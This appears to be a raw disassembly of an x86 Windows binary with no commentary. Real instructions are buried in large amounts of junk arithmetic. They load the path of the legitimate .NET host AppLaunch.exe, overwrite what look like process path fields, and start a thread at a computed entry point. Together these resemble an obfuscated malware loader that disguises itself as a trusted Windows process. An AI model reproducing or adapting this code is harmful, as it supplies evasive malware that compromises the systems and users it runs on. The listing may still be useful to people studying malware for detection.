imul eax
not ebx
sbb eax, 0x80
imul ebx
mov esi, 0x54
add ebx, 0x13
bswap edx
bswap edx
add eax, 0x1f
imul eax
imul ebx
ror esi, 0x87
not esi
sub edi, 0xfa
rol eax, 0x60
and edi, 0x7a
ror eax, 0x26
neg ebx
imul esi
imul esi
bswap eax
inc eax
not ebx
rcr esi, 0xb3
rcr edx, 0xdd
not edi
sbb esi, 0x69
sub ebx, 0x5d
dec esi
imul ebx
ror esi, 0x38
sbb ebx, 0xde
imul edi
rol edx, 0xf8
dec eax
rcl eax, 0x59
not edx
bswap ebx
mov edi, 0xcc
neg ebx
rcr edi, 0xa
sub ebx, 0x18
not ebx
sbb edi, 0xde
dec edx
rcr ebx, 0xd7
rol edi, 0x3a
bswap edi
rcl ebx, 0x82
mov edx, 0x1f
sbb edx, 0xc
and edi, 0x99
neg esi
ror eax, 0x4e
rcl edx, 0x51
sbb eax, 0x51
imul esi
neg edx
sub eax, 0x13
neg edi
neg eax
bswap edi
bswap edi
not esi
bswap eax
ror esi, 0x7c
bswap edi
not ebx
rol eax, 0x6b
rol esi, 0x1a
rcl esi, 0xe3
inc ebx
mov ebx, 0x4c
neg esi
inc edi
sbb edx, 0x57
rol edx, 5
or edi, 0x1c
imul edi
bswap esi
rol ebx, 0x87
sub esi, 0x12
add eax, 9
rcr esi, 0x5f
neg edx
sbb edi, 0x1c
dec esi
sbb edi, 0x92
dec edi
imul esi
imul edi
bswap esi
imul ebx
dec edi
sub esi, 0x6a
add esi, 0xd
imul esi
bswap edx
bswap edi
not esi
rol esi, 0x20
and edx, 0xaf
inc eax
and edx, 0x4b
add esi, 0x1f
not eax
add ebx, 0xe6
neg ebx
mov eax, dword [esp]
mov dword [ecx + 8], eax
mov dword [ebp + 0x10], eax
inc eax
not eax
not eax
and edx, 0x32
sbb edi, 0x6a
add esi, 0x55
imul edx
or ebx, 0x61
bswap ebx
rol edx, 0x69
add ebx, 0xfa
add esi, 0xa8
not edx
rol edx, 0x7d
rcl eax, 0x29
not edx
bswap eax
inc edi
bswap edi
not esi
neg esi
and edx, 0xf9
bswap edi
add edx, 0xd9
inc esi
ror esi, 0xd1
rcr ebx, 0x51
add edi, 0x27
add ebx, 0xa1
not ebx
and edx, 0x12
mov edi, 0xa9
bswap edi
inc esi
sub edi, 0x92
inc edi
ror eax, 0x4d
ror edx, 0xcf
bswap ebx
not eax
ror esi, 0xd4
not edi
rol edx, 0xd8
ror esi, 0x24
not ebx
sbb eax, 0xf1
rcr esi, 0xc0
sub edx, 0x40
and eax, 0x77
rcl ebx, 0x6c
and edx, 0x18
sbb edi, 0x54
ror edi, 0x95
not edx
ror edi, 0xf0
and edx, 0x77
neg edx
bswap eax
imul eax
inc edx
rcr eax, 0xa3
bswap esi
inc ebx
not ebx
add edx, 0xff
imul edi
add ebx, 0xd2
imul edx
or edi, 0xba
rol eax, 0xf6
dec esi
or esi, 0x21
not edx
mov edx, 0x56
dec ebx
bswap edi
inc esi
not edx
add ebx, 0x83
and eax, 0xf9
sbb edx, 0xd0
bswap ebx
imul eax
bswap edi
not edi
sub ebx, 0x51
rcr ebx, 0x78
and edx, 0x40
mov edx, 0x42
dec eax
imul eax
bswap edx
sub eax, 0xe4
imul edx
neg edi
or edx, 0xb1
neg ebx
neg ebx
bswap ebx
neg esi
rcr ebx, 0x12
neg esi
sub ebx, 0x80
rcl eax, 0x67
sub eax, 0xc2
not esi
sub eax, 0xe5
sbb eax, 0x51
ror edx, 0xdf
inc ebx
neg eax
inc esi
inc eax
dec ebx
imul eax
imul ebx
imul ebx
or edi, 0x25
sbb edi, 0xd8
neg edi
rcr ebx, 0xb3
bswap ebx
sub eax, 0x90
rcr eax, 0xfb
rcl edx, 0x7f
imul esi
rcr edi, 0x11
rcr edi, 0xef
neg esi
neg esi
dec esi
ror ebx, 0x5b
not eax
inc edi
neg edx
inc ebx
dec eax
neg edx
inc edx
dec esi
neg eax
add eax, 0xeb
imul esi
ror edx, 0x27
sbb edi, 0x69
inc esi
bswap edi
neg ebx
not edx
and ebx, 0xa2
vmovups ymmword [esp + 0x90], ymm0
vmovups ymmword [esp + 0x78], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
mov eax, dword [esp + 4]
vmovups ymmword [esp + 0x58], ymm2
vmovups ymmword [esp + 0x38], ymm1
mov eax, dword [eax + 0xe8]
mov dword [esp + 0x14], eax
test eax, eax
je 0x4065c2
mov eax, dword [ebp + 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x20]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x38]
mov dword [ebp + 0x20], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [ebp + 0x1c], ax
jmp 0x4065c2
inc esi
rol esi, 0xbb
dec edx
and edi, 0xef
inc edi
sbb esi, 0xfd
or eax, 0xdf
not esi
bswap eax
neg ebx
imul edi
dec edi
ror esi, 0x88
or edx, 0xeb
bswap edi
add edx, 0xbc
or esi, 0x20
ror edx, 0xd4
rcr ebx, 4
rcr ebx, 0xf0
inc edi
rol ebx, 0xa1
ror edi, 0x17
ror edi, 0xf5
mov edx, 0xcb
sbb esi, 0x90
dec esi
and edi, 0x10
dec edx
sbb ebx, 0xa4
neg edx
add eax, 0xeb
rcl edx, 0x22
sbb edx, 0x7a
mov edx, 0x31
dec edi
bswap ebx
inc edx
neg eax
rcr ebx, 0xd0
not esi
rcl ebx, 0xa5
rol eax, 0xdd
inc edx
sub edi, 0xd2
rcl eax, 0xe0
ror esi, 0xa4
neg ebx
imul ebx
and edx, 0x30
and esi, 0x4b
neg eax
not esi
sub esi, 0x60
bswap ebx
and esi, 0x75
add edx, 0x14
sub edi, 0x89
not ebx
imul edi
mov edi, 0x70
dec edx
rcl edx, 0x98
not esi
mov eax, 0x5e
not edi
neg eax
sub edx, 0xa8
inc edi
dec edi
and edi, 0xc1
add esi, 0xc6
inc ebx
inc edi
mov edi, 0x63
bswap eax
inc edi
neg ebx
dec esi
bswap edx
bswap edx
imul eax
inc ebx
bswap eax
inc esi
rcl edi, 0x4d
bswap edx
sub ebx, 0xa6
or edx, 0xb1
sbb esi, 0xea
inc edi
not ebx
not ebx
ror edx, 0x24
bswap eax
add edi, 0x29
rol edi, 0x93
neg esi
rcr ebx, 0x6b
not eax
bswap eax
imul esi
or edx, 0xac
imul edx
and esi, 0x8d
not eax
neg edi
or edi, 0x49
neg edi
sub ebx, 0x62
imul edi
rol eax, 0x13
rcl ebx, 0xd5
sub eax, 0x12
mov edx, 0xd8
or ebx, 0x8d
neg edx
rol esi, 0x4a
sub ebx, 0x42
dec edi
sub esi, 0xc8
add edx, 0x96
imul edi
inc ebx
mov ebx, 0x66
ror esi, 0x23
add edx, 0xd1
sbb eax, 2
neg eax
dec edi
dec ebx
not edi
rol eax, 0xef
or edx, 0x5f
rcr ebx, 0x81
rol ebx, 0xe0
inc edx
rcr edx, 0x86
neg edi
or edi, 0x96
inc eax
sbb ebx, 0x94
not edi
sbb ebx, 0xa6
sbb edx, 0x35
not esi
inc edx
inc edx
ror esi, 0xdb
add edi, 0xd5
mov eax, dword [esp + 4]
mov ecx, dword [esp]
add ecx, dword [eax + 0x28]
push 0
push 0
push 0
push ecx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esp + 0x14], 0
mov esi, eax
je 0x4067b6
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov dword [ebp + 0x20], eax
mov dword [ebp + 0x1c], ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc esi
inc eax
dec edx
not ebx
not esi
mov ebx, 0x17
imul edi
mov ebx, 0x65
sbb edi, 0xe0
sub ebx, 0x1a
inc edi
not edi
bswap ebx
not esi
sub edx, 8
not edx
not esi
and edx, 0xa7
rcl eax, 0xb5
imul ebx
bswap eax
rcr edx, 0x55
and edx, 0
bswap edi
ror edi, 0x6f
rol edi, 0x18
inc eax
rcl eax, 0x2a
not ebx
dec ebx
not eax
sub edx, 0xd0
rcl ebx, 0x89
dec esi
ror esi, 0xe6
ror edi, 0x63
rol eax, 2
ror eax, 0xb0
rcl edx, 0x35
not esi
rol eax, 0x53
inc edi
neg ebx
not eax
not eax
or edx, 0xd4
neg eax
rcl ebx, 0xd8
ror edi, 0x55
imul ebx
not esi
add edi, 0xc0
and edi, 0xae
rcl edi, 0x59
add ebx, 0x8b
bswap edi
and esi, 0x96
sub eax, 0xd1
or eax, 0x3e
bswap edx
imul esi
neg ebx
imul edi
add eax, 0xf6
rcl ebx, 0xcd
and edi, 0x9c
imul ebx
neg esi
inc ebx
ror eax, 0x2d
mov eax, 0x5d
imul ebx
not eax
imul edi
not ebx
add eax, 0xa4
and ebx, 0xc
neg esi
mov eax, 0x2f
sub eax, 0x5e
sub edi, 0xd2
inc esi
bswap eax
rcr edi, 0xcf
dec esi
ror ebx, 0x3a
dec eax
rcr ebx, 0x74
imul edx
bswap edx
or eax, 0xa3
dec eax
neg edx
mov esi, 0x26
rcl edi, 0x52
sbb ebx, 0xe7
bswap ebx
bswap eax
rcr ebx, 0x2c
ror esi, 0xee
neg esi
neg edi
or edi, 0x4c
mov ebx, 0x88
dec ebx
inc edi
dec edi
rcr edi, 0xf0
add eax, 0x77
not edi
sbb ebx, 0x38
ror eax, 0xcf
or edi, 0x74
add edx, 0xfc
rol eax, 0xdc
rcl ebx, 0xc4
bswap esi
rcl esi, 0x15
and esi, 0x75
mov edx, 0x27
imul esi
imul ebx
ror eax, 0xdd
not eax
or esi, 0x61
neg ebx
inc edx
and ebx, 0x53
sbb esi, 0x20
or edi, 0x1b
and edi, 0x69
dec ebx
imul eax
sub edi, 0xdc
sbb ebx, 0x6b
neg ebx
and edi, 0xff
sbb eax, 0xb7
dec edx
add ebx, 0x41
neg ebx
imul ebx
rcl edx, 0x4d
dec edi
neg ebx
ror eax, 0xfe
rcr esi, 0x82
bswap ebx
not eax
ror edi, 0xae
xor eax, eax
add esp, 0x1ccb0
pop esi
pop edi
pop ebx
pop ebp
ret